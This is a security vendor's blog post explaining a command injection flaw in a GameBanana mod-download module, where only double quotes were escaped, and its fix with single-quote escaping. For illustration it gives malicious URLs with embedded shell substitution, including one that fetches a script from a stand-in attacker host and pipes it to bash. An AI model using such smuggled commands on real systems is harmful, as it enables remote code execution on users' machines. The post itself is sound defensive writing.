Back to Blog
critical SEVERITY5 min read

How command injection via shell metacharacter escaping happens in Node.js and how to fix it

A critical command injection vulnerability was discovered in the GameBanana provider module where the `quoteCommandArgument()` function only escaped double quotes, leaving shell metacharacters like `$()`, backticks, and other dangerous patterns exploitable. Attackers could craft malicious mod URLs on GameBanana containing shell commands that would execute when users viewed the content. The fix switches from double-quote to single-quote escaping, which prevents shell interpretation of metacharact

O
By Orbis AppSec
Published July 31, 2026Reviewed July 31, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js caused by incomplete shell escaping in the `quoteCommandArgument()` function. The original code only escaped double quotes with `replaceAll('"', '\\"')`, but shell metacharacters like `$(cmd)`, backticks, and `$VAR` remained exploitable. The fix changes from double-quote wrapping to single-quote wrapping with proper escape handling (`'${String(value).replaceAll("'", "'\\''")}'`), which prevents the shell from interpreting any metacharacters within the argument.

Vulnerability at a Glance

cweCWE-78
fixSwitch to single-quote escaping which prevents shell interpretation of metacharacters
riskRemote code execution through crafted URLs from GameBanana content
languageJavaScript (Node.js)
root causequoteCommandArgument() only escaped double quotes, not shell metacharacters
vulnerabilityCommand Injection via Incomplete Shell Escaping

Introduction

The gamebanana.provider.js file handles downloading and processing mod content from GameBanana, a popular game modding platform. A critical flaw in the quoteCommandArgument() function at line 42 created a severe command injection vulnerability that could allow attackers to execute arbitrary system commands on users' machines.

The vulnerability is particularly dangerous because the attack vector comes from attacker-controllable content on GameBanana itself—malicious mod creators could craft URLs containing shell metacharacters that would execute when legitimate users simply viewed or downloaded their content.

Here's the vulnerable code that was discovered:

function quoteCommandArgument(value) {
  return `"${String(value).replaceAll('"', '\\"')}"`;
}

This function attempts to safely quote command-line arguments by wrapping them in double quotes and escaping any embedded double quotes. However, this approach fundamentally misunderstands how shell escaping works.

The Vulnerability Explained

Why Double-Quote Escaping Fails

In Unix-like shells (and even Windows PowerShell), double-quoted strings still allow certain types of expansion:

  • Command substitution: $(command) or `command` will execute the enclosed command
  • Variable expansion: $VARIABLE will be replaced with the variable's value
  • Arithmetic expansion: $((expression)) will evaluate mathematical expressions

The original quoteCommandArgument() function only escaped double quotes ("), meaning an attacker could inject any of these patterns and have them executed by the shell.

Real Attack Scenario

Consider how GameBanana works: mod creators can specify alternate download URLs for their content, including links to external file hosts like MediaFire. An attacker could create a mod with a malicious alternate file source URL:

https://mediafire.com/file/x$(whoami).txt

When this URL passes through quoteCommandArgument(), it becomes:

"https://mediafire.com/file/x$(whoami).txt"

The double quotes don't prevent the shell from executing $(whoami). The command runs, and its output gets interpolated into the URL. But the danger goes far beyond whoami:

https://example.com/$(curl attacker.com/malware.sh | bash).txt

This would download and execute a malicious script with full privileges of the Node.js process—potentially giving attackers complete control over the victim's system.

Why This Is Critical

  1. Remote Code Execution: Attackers can run arbitrary commands with the user's privileges
  2. No User Interaction Required: Simply viewing mod content could trigger the exploit
  3. Trust Exploitation: Users trust GameBanana content, making social engineering trivial
  4. Full System Access: The Node.js process typically has access to filesystem, network, and can spawn additional processes

The Fix

The fix changes the quoting strategy from double quotes to single quotes:

Before (Vulnerable)

function quoteCommandArgument(value) {
  return `"${String(value).replaceAll('"', '\\"')}"`;
}

After (Fixed)

function quoteCommandArgument(value) {
  return `'${String(value).replaceAll("'", "'\\''")}'`;
}

Why Single Quotes Work

In shell scripting, single-quoted strings are literal—no expansion of any kind occurs inside them. The string '$(whoami)' is treated as the literal characters $, (, w, h, o, a, m, i, ) rather than a command to execute.

The only character that needs escaping inside single quotes is the single quote itself. The pattern '\\'' handles this by:

  1. Ending the current single-quoted string (')
  2. Adding an escaped literal single quote (\')
  3. Starting a new single-quoted string (')

So the input it's dangerous becomes 'it'\''s dangerous', which the shell interprets as the literal string it's dangerous.

Attack Neutralized

With the fix in place, the malicious URL:

https://mediafire.com/file/x$(whoami).txt

Becomes:

'https://mediafire.com/file/x$(whoami).txt'

The shell treats $(whoami) as literal text, not a command to execute. The attack is completely neutralized.

Key Takeaways

  • Never use double-quote escaping for shell arguments—it doesn't prevent $() or backtick command substitution
  • The quoteCommandArgument() function in gamebanana.provider.js required single-quote escaping to be secure
  • Attacker-controlled URLs from GameBanana could have executed arbitrary commands on users' systems
  • Single-quote wrapping with '\\'' escape pattern is the correct approach for literal shell argument passing
  • External content platforms like GameBanana are untrusted input sources—treat all data from them as potentially malicious

How Orbis AppSec Detected This

  • Source: Attacker-controllable alternate file source URLs from GameBanana mod content
  • Sink: quoteCommandArgument() function at gamebanana.provider.js:42 used in shell command construction
  • Missing control: Proper shell metacharacter escaping—only double quotes were escaped, leaving $(), backticks, and $VAR patterns exploitable
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Changed from double-quote escaping to single-quote escaping with proper handling of embedded single quotes

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability demonstrates how subtle mistakes in shell escaping can have catastrophic security consequences. The original developer's instinct to quote and escape arguments was correct, but the implementation using double quotes left a critical gap that attackers could exploit.

The fix—switching to single-quote escaping—is elegant in its simplicity but requires understanding the fundamental difference between how shells interpret single-quoted versus double-quoted strings. When building applications that interact with external content sources like GameBanana, always treat that content as untrusted and apply rigorous input validation and output escaping.

Remember: security is about understanding the execution context of your code. What seems safe in one context (JavaScript string handling) may be dangerous in another (shell command execution).

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.